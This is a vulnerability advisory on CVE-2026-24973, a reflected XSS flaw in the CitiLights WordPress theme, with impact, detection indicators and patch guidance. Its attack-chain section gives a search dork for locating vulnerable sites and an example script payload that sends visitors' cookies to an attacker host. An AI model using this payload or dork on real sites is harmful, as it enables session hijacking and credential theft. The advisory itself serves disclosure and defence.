CVE-2026-24973: 
WordPress vulnerability analysis and mitigation

CVE-2026-24973 is a Reflected Cross-Site Scripting (XSS) vulnerability in the NooTheme CitiLights WordPress theme (slug: noo-citilights). It affects all versions up to and including 3.7.1, and was patched in version 3.7.2. The vulnerability was reported by Tran Nguyen Bao Khanh (VCI - VNPT Cyber Immunity) on December 14, 2025, and publicly disclosed by Patchstack on March 16, 2026. It carries a CVSS v3.1 base score of 7.1 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). It is a reflected XSS flaw, meaning user-supplied input is incorporated into the HTTP response without adequate sanitization or encoding, allowing injected scripts to execute in the victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — specifically, a victim must be tricked into clicking a crafted malicious URL. The attack vector is network-based with low complexity (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, or injection of unwanted advertisements and HTML payloads visible to site visitors. The CVSS scope is marked as "Changed," indicating the impact can extend beyond the vulnerable component to affect the victim's browser environment (Patchstack).

No public proof-of-concept exploit code has been identified at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting large numbers of WordPress sites regardless of their traffic or popularity. No CISA KEV catalog listing or known threat actor attribution has been reported for this CVE (Patchstack).

1. Reconnaissance: Identify WordPress sites using the CitiLights theme (version ≤ 3.7.1) via web crawlers, Wappalyzer, or search engine dorking (e.g., inurl:wp-content/themes/noo-citilights).
2. Identify vulnerable parameter: Analyze the theme's front-end pages and URL parameters that reflect user input back into the HTML response without sanitization.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social media, or other social engineering methods.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes — enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

• Network: HTTP requests to the WordPress site containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters associated with CitiLights theme pages.
• Logs: Web server access logs showing GET requests with suspicious payloads in query strings directed at CitiLights theme URLs; referrer headers pointing to external attacker-controlled domains.
• Browser/Client-Side: Unexpected redirects from the WordPress site to unknown external domains; users reporting unsolicited pop-ups or redirects after clicking links to the site.

The vendor has released version 3.7.2 of the CitiLights theme, which resolves this vulnerability. Site administrators should update the theme to version 3.7.2 or later immediately. As an interim measure, Patchstack offers a virtual patching/mitigation rule that blocks exploitation attempts without requiring a theme update. If neither option is immediately available, consider temporarily disabling the CitiLights theme and switching to a safe alternative until patching is feasible (Patchstack).